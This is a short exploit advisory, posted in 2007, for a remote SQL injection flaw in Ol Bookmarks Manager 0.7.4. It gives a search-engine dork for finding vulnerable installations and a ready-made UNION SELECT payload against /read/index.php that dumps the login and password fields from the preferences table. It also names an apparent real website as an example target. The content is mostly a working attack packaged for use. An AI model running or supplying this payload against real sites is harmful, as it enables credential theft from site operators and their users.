olbookmarks-sql.txt
Posted on 22 May 2007
========================================================================== Ol Bookmarks Manager 0.7.4 (root) Remote SQL Injection Vulnerabilities ========================================================================== Found by: Cyber-Security ========================================================================== D0rk : allintitle:ol'bookmarks ========================================================================== Download: http://mesh.dl.sourceforge.net/sourceforge/olbookmarks/olbookmarks-0.7.4.tar.gz ========================================================================== /read/index.php?name=alex&id=-1/**/union/**/select/**/0,1,2,3,4,5,password,login,8,9,10,11,12/**/from/**/preferences/* Example: http://www.blex.co.uk/bookmarks ========================================================================== thanx: ThE TiGeR couse he found RFI to this script:) ==========================================================================
